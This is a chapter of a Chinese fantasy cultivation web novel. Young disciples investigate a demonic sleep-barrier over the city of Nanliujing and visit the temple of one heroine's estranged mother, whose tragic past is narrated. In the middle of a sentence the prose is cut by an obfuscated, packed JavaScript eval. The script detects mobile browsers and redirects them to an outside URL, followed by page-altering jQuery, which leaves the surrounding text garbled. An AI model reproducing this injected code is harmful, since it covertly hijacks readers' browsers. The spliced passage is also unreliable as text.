岁岁对陆时安口中的“概念”知之甚少。
但捕捉到关键词“自然”后,她便再次端详起面前的阵法。
谢让尘修的是风系法术,但往生印怎么看都不像与风有关。
金色的梵文、藕色的花苞....
如何能让一朵花盛开...
岁岁猛然拍掌:“是光!”
她看向四人,语气急促:“日光!汲取到足够的日光,或许能让花苞绽开!”
四人沉默片刻,余荷最先开口:“岁岁,你所言确实。可....”
她指了指头顶的夜空,叹气道,“这种魔气结界不仅将南流景与外界相隔绝,而且会让南流景陷入永夜。”
在岁岁错愕的视线中,沈时凝接话道,“不错,只要这道结界存在,南流景就不会迎来日出。”
岁岁忍不住喟叹一声。
南流景这座城池之所以取名南流景,与它的昼夜有关。
它是九洲城池中,白昼最长之地。
甚至在特定时间,会迎来极昼。
在南流景,从未有过极夜。
岁岁摩挲着下巴思忖片刻,忽然问道,“大师姐,我一直奇怪一件事。这里闹出这么大阵仗,为什么沈家上下到现在都没一个人出现?”
在岁岁提醒下,其余人环顾四周,发现的确安静得反常。
刚刚的几番交战,莫说沈家全府都能听见,就算是整座南流景也该被惊醒。
可直至遁霄灰飞烟灭,南流景仍旧在一片寂静中,仿佛这道结界不仅隔绝了南流景与外界,还将他们几人与南流景其他城民隔绝开。
见沈时凝正欲发动灵力探寻其他踪迹,余荷拦道,“沈道友,我来吧,你且好生休息。”
说罢,她跪坐在地,双眸紧闭刹那,从身下生出无数藤蔓。
藤蔓顺着地面往四周蔓延,不多时,余荷猛地睁开双眼。
她收回灵力,似是看到极其可怖之事,气喘道,“....整座城所有人,全部都陷入沉睡中了。”
岁岁惊愕张大嘴:“所有人?!包括那些大能?!”
这次沈家嫁女,不少在修真界有名望的大能也前来赴宴。
不仅如此,南流景还有一些大隐于市的大能修士。
若要一口气令他们全员陷入沉睡,所需的魔气恐怕即便十个遁霄同时发力也远远不够。
“不错。”余荷神色严肃:“而且....像是幻梦之境。”
“幻梦之境?”岁岁追问。
“魔族最擅长的结界术,为中术者编织出内心最深处欲望幻化的美梦。中术者如若无法及时破除结界,则会被魔气侵蚀,在梦境中死去。”
岁岁蹙眉:“那有没有办法帮他们解开结界术?”
余荷摇头:“纵使旁人进入到他们的幻梦中,也只能起到劝说的作用。每个人心中欲望不同,破解幻梦的关键也不同,倘若与中术者并不熟识,一味劝说只会令他生恶,反倒适得其反。唯有依靠他们自己,方有一线生机。”
岁岁揉了揉隐隐作痛的太阳穴,思绪繁乱。
好不容易找到破死局的方法,现在又被断了....
“且慢。还有一处没有陷入幻梦之境。是....”余荷双手感知着藤蔓传递回的消息,缓缓道出地名:“缥缈观。”
沈时凝鲜见地露出错愕神情。
“大师姐,这里是哪里呀?”岁岁问。
沈时凝嘴唇翕动,片刻后才讷讷答道,“是我娘修行的道观。”
*
最后几人决定,留下陆时安与明曜保护谢让尘,剩下三人则前去缥缈观查看情况。
一路上,沈时凝都心事重重的模样。
岁岁虽有意询问,但又想起书中写过:白槿亦生下沈时凝后,便带发修行入观,从未回沈家探望过沈时凝一次。
哪怕沈时凝单枪匹马护下南流景,命悬一线时,白槿亦也没有现身过。
在原书描写中,与其说沈时凝是白槿亦的女儿,不如更像是白槿亦最恨的人。
白槿亦少年时一人一剑闯荡江湖,虽出身凡尘世名门之家,却不受凡尘世俗规制约。
她只尊强者,只认她自己的理。
短短数年,她便成了九洲闻名的侠客剑修。
在九洲,修真界与凡尘世虽未有明显“界限”,看似相辅相成,其实两者有微妙的隔阂。
这种隔阂并非白纸黑字的明文规定,而是万年来彼此默许的规矩。
凡尘世之人,有七情六欲,自也有善与恶。
但一旦检测出灵根,成为修士,就必须要褪去恶性,只留下“善”的一面,好似成为修士那一刻起,就褪去了“人性”,只留下“神性”。
这样的修士于凡人而言,似是完美无缺的圣人。
故在凡尘世中,修士对凡人所作所为似乎都“合理且正确”。
在此言论下,寻常凡人无论何处都受制于修士。
修士踏足凡尘世城池,只须尊凡人帝皇、名门等等之世俗门第规训。
这便是两界用以平衡关系的“规矩”。
直至白槿亦出现。
她游走凡尘世间,不拜师门、不结名流客,仅凭一把剑荡尽南流景不平事,上斩名门之后,下砍市井混混。
无论修士或是凡人,都曾被喂过她的剑。
她告诉南流景百姓:“只要是人,哪怕是无情道的修士,在飞升得道前也有七情六欲。人存己欲,便做不了圣人。既非圣人,那所做事又如何桩桩都是对的?”
“我白槿亦在此立誓,只要我在南流景一日,修士便必须遵守南流景法规条例。有犯者,先问过我手中剑!”
自此,南流景迎来百年难遇的修士与凡人和平相处模式。
凡尘世人亦尊白槿亦为“白衣剑仙”。
也因如此,凡人第一次开始怀疑——自诩“兼爱世人、问心无愧于苍生”的修士们,是否真的都心怀大爱。
还是只假借“修士”这层外皮,掩盖他们的恶行、暴行而已。
在民心开始动摇之初,修真界便派出几位大能来到南流景。
他们先与白槿亦协商不成,后便以“扰乱秩序,私定法规”为由,毁了她的剑、废去她灵根。
天才剑修一朝沦为废人。
而昔日曾受过她庇护之人,无人愿挺身而出,哪怕只是替她说上一句求饶的好话。
那日,白槿亦被毁去的不仅是一身修为,更是长期以来坚守的“道心”。
她为求重塑灵根之法,与沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039896|188054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家联姻,却在生下沈时凝后才得知沈知勉从头到尾都在骗她。
这世上,从来没有所谓重塑灵根一说。
灵根被毁,此生与修真再无缘。
而被废去修为的白槿亦,甚至连最普通的木剑也再难握起。
自那以后,她便终日浑浑噩噩,在无尽的痛苦中,她恨着身边的每个人。
包括她的女儿。
最终在某个雪夜,白槿亦离开沈家,归入缥缈观,自此断了与凡尘世的联系。
....
寒风拂面,岁岁被冻得忍不住打了个寒颤。
说来奇怪,分明是春日,可愈靠近缥缈观,却愈感觉严寒难耐。
好似一瞬踏入腊月季节般。
虽有月华缎护身,可岁岁的脸颊还是被寒风刮得通红。
她正不停对掌心哈气贴脸时,耳畔传来余荷的声音:“到了。”
岁岁仰头,只见不远处立着一座道观。
道观四周白雪皑皑,屋檐上更凝着亘古不化的寒霜,单看一眼便令岁岁冷得牙齿打颤。
她环顾四周,悄声询问:“我们一路走来也没有踏入结界的感觉,要是这地方不是被结界包围,怎么能做到跟外界处在两个季节?”
余荷轻声回道,“我们已在缥缈观结界中。你之所以没察觉到,是因为....”
她顿了顿,似是有些犹豫。
在她犹豫时,沈时凝接过话头:“因为这里是妖族结界,用妖丹维系的那种。”
岁岁愕然瞪大双眸。
她对灵力波动的感知已算敏感,寻常结界无论是否有形,都会在边缘处留有施术者的灵力残余。
这种残余不受结界具象之形束缚,而是施术者灵力的划定范围。
可岁岁直至沈时凝开口点破,都没有觉察到灵力残余。
她正欲催动灵力探查时,却被余荷按住手腕。
余荷摇头道,“岁岁,不可在此地擅用灵力。否则会被视作闯入者,触发结界防护。”
她话音刚落,道观大门倏地缓缓打开。
一名貌美年轻的姑子站在门后,面容和善邀请道,“天寒地冻,贵客请入观喝杯热茶吧。”
岁岁好奇打量着姑子。
她看起来不过二十出头的年纪,未削发,一身半新不旧的深灰色道袍。
周身不见丝毫灵力流淌,似是寻常凡人。
岁岁分神时,余荷已扶着沈时凝往观内走去。
她忙快步跟上。
缥缈观不大,三人跟随姑子未走几步路便到了供访客休息的客堂。
里面候着两个姑子,正在烧火煮茶,见她们来了,便热情招呼落座。
领路姑子的视线落在沈时凝身上。
她眸光微动,笑意吟吟:“你就是白师傅的女儿吧?真了不起,年纪轻轻便赢了李观棋。”
沈时凝甫坐下,闻言又情不自禁起身,语气略显急切:“师傅,我娘呢?她今天在观中吗?”
这些年,沈时凝不是没有来找过白槿亦。
可对方拒之不见,每回都如是。
姑子沉吟片刻,似是在为白槿亦寻找新的回避借口。
岁岁却伸手指向另一侧的袇房,嘴快道,“你娘在那儿呢。”